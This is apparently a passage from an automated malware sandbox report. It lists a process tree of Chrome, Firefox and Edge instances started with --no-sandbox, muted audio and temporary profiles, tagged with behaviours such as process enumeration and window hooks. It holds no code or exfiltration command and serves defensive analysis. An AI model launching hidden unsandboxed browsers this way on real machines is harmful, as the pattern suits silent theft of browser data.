      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1620,i,7379721215504699582,1834662791391904373,262144 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
      4⤵
      PID:1184
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --force-high-res-timeticks=disabled --metrics-shmem-handle=1920,i,6778511533373970569,505756948497962686,524288 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=2024 /prefetch:11
      4⤵
      System Time Discovery
      PID:728
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --force-high-res-timeticks=disabled --metrics-shmem-handle=2172,i,4139977414657831476,17056925967916076854,524288 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:13
      4⤵
      PID:4948
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2904,i,2214053534970214697,2918178943156996679,2097152 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:1
      4⤵
      PID:4860
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2908,i,6559304396165784367,12876564688694256559,2097152 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=3004 /prefetch:1
      4⤵
      PID:3096
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3084,i,5741401460593822608,3855866951785234869,2097152 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=3096 /prefetch:1
      4⤵
      PID:1036
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3148,i,1733628553789227835,1856208864326549613,2097152 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:9
      4⤵
      PID:3056
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3968,i,3782639296682653855,14886572804231951856,2097152 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=3980 /prefetch:1
      4⤵
      PID:2384
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4120,i,4228217583930820845,7793861765535235191,2097152 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=3384 /prefetch:9
      4⤵
      PID:4356
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --force-high-res-timeticks=disabled --metrics-shmem-handle=4500,i,14683677180845181454,10663904373557665593,524288 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=4508 /prefetch:14
      4⤵
      PID:1868
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --force-high-res-timeticks=disabled --metrics-shmem-handle=4552,i,18369613230769889106,15098386419256283741,524288 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=4564 /prefetch:14
      4⤵
      PID:568
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --force-high-res-timeticks=disabled --metrics-shmem-handle=4624,i,17777211110908923059,10628922941270495834,524288 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=4636 /prefetch:14
      4⤵
      PID:1040
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --force-high-res-timeticks=disabled --metrics-shmem-handle=4628,i,10238138956106862446,143615853326915505,524288 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=4508 /prefetch:14
      4⤵
      PID:4132
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5204,i,13826078459124744823,9182349052266936847,2097152 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:1
      4⤵
      PID:440
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5236,i,273192988680894126,9180692098682626872,2097152 --field-trial-handle=1916,i,13126505052132081912,11541407692085534367,262144 --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:1
      4⤵
      PID:3936
  - - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
      4⤵
      PID:2464
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\beotugz5.m5q"
    3⤵
    PID:4456
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\beotugz5.m5q
      4⤵
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:4412
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1964 -prefsLen 27098 -prefMapHandle 1968 -prefMapSize 270279 -ipcHandle 2056 -initialChannelId {19a382e6-cedc-483f-b942-7f8251ddc22b} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        5⤵
        
        PID:1868
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2416 -prefsLen 27134 -prefMapHandle 2316 -prefMapSize 270279 -ipcHandle 2344 -initialChannelId {e4fac797-1b3e-47d0-86fc-4e54926a5076} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        5⤵
        
        PID:5060
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\2a2c915e-153b-4ac3-aa7a-3ed29b4c4dc3.dmp"
        5⤵
        
        PID:240
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2280 -prefsLen 27134 -prefMapHandle 2912 -prefMapSize 270279 -ipcHandle 2936 -initialChannelId {fda7a788-3b8a-4a4f-8d54-72b1c4230419} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        5⤵
        
        PID:2308
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\a76225ca-fb84-4f3a-a909-a60e63c06979.dmp"
        5⤵
        
        PID:3192
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2936 -prefsLen 27134 -prefMapHandle 3120 -prefMapSize 270279 -ipcHandle 2596 -initialChannelId {2bb7b1da-d802-4a05-97c4-fb5557adc991} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        5⤵
        
        PID:4268
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2964 -prefsLen 27323 -prefMapHandle 3324 -prefMapSize 270279 -jsInitHandle 3560 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3308 -initialChannelId {65aeddbf-67e8-44e7-9b08-86ed6a34328a} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        5⤵
        Checks processor information in registry
        
        PID:860
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\256de262-cfcf-4f1c-801a-77317523c1e9.dmp"
        5⤵
        
        PID:2124
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3208 -prefsLen 27323 -prefMapHandle 3752 -prefMapSize 270279 -ipcHandle 3800 -initialChannelId {1b1c2a66-fe73-4c3d-9d3b-eaf0f26f2f21} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 gpu
        5⤵
        
        PID:704
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\59c4357a-cf85-42fb-acc4-b14adc8659de.dmp"
        5⤵
        
        PID:2084
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4220 -prefsLen 27323 -prefMapHandle 4224 -prefMapSize 270279 -ipcHandle 4232 -initialChannelId {a60968fe-bc69-4028-b59a-3b6eddc94f17} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 rdd
        5⤵
        
        PID:1908
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4536 -prefsLen 34822 -prefMapHandle 4540 -prefMapSize 270279 -jsInitHandle 4544 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2552 -initialChannelId {53f4ea3d-3cc9-4133-ae60-5a192f3f64a1} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        5⤵
        Checks processor information in registry
        
        PID:2356
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4928 -prefsLen 34822 -prefMapHandle 4932 -prefMapSize 270279 -ipcHandle 4940 -initialChannelId {671483fe-12e3-4e02-a150-a62c866ef62d} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 utility
        5⤵
        Checks processor information in registry
        
        PID:1560
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5220 -prefsLen 32952 -prefMapHandle 5224 -prefMapSize 270279 -jsInitHandle 5228 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5016 -initialChannelId {31626940-3244-4db1-8c94-599d9b6e524a} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        5⤵
        Checks processor information in registry
        
        PID:5876
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5248 -prefsLen 32952 -prefMapHandle 5252 -prefMapSize 270279 -jsInitHandle 5256 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4932 -initialChannelId {cee17963-79a6-45c7-9125-43b33525dbd4} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        5⤵
        Checks processor information in registry
        
        PID:5932
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5608 -prefsLen 32952 -prefMapHandle 5612 -prefMapSize 270279 -jsInitHandle 5616 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5624 -initialChannelId {5f51c753-e1e3-4b66-9413-c6d5dd4f2ab7} -parentPid 4412 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4412" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        5⤵
        Checks processor information in registry
        
        PID:5980
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:2388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x24c,0x7ff8b7c6c188,0x7ff8b7c6c194,0x7ff8b7c6c1a0
      4⤵
      PID:4916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1620,i,17134796235390406732,12820900969093374527,262144 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=2132 /prefetch:2
      4⤵
      PID:5268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1812,i,6261032452668924135,2110115162210873098,524288 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=2792 /prefetch:11
      4⤵
      System Time Discovery
      PID:5344
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2292,i,3115804836287191799,11119529840893746848,524288 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=2804 /prefetch:13
      4⤵
      PID:5352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3076,i,5797383986872619326,17842064082158633213,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=3084 /prefetch:1
      4⤵
      PID:5468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3080,i,7084843380046665646,4915311218635738931,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=3172 /prefetch:1
      4⤵
      PID:764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3300,i,2781957951926065356,15395876119639663721,524288 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=3308 /prefetch:14
      4⤵
      PID:5656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3312,i,7121320598402263448,10678109468354923983,524288 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=3724 /prefetch:14
      4⤵
      PID:676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3320,i,15428601224505185594,11115300127932430206,524288 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:14
      4⤵
      PID:3792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3348,i,1389359123184163771,764920214796440040,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4152 /prefetch:1
      4⤵
      PID:5788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3352,i,9508395411915439355,12022417636341143180,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:9
      4⤵
      PID:3136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3364,i,8321431121992940328,13804799836926213289,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:1
      4⤵
      PID:4580
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3412,i,3316310299354836432,16115559448813726131,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4384 /prefetch:9
      4⤵
      PID:6136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3432,i,5786659511521853000,3675382870637524367,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:1
      4⤵
      PID:6128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\im1g4nmd.gyl" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3436,i,2241104200561305728,17014721098572373869,2097152 --field-trial-handle=2136,i,13684433852205110199,5605631791863919099,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:9
      4⤵
      PID:6116
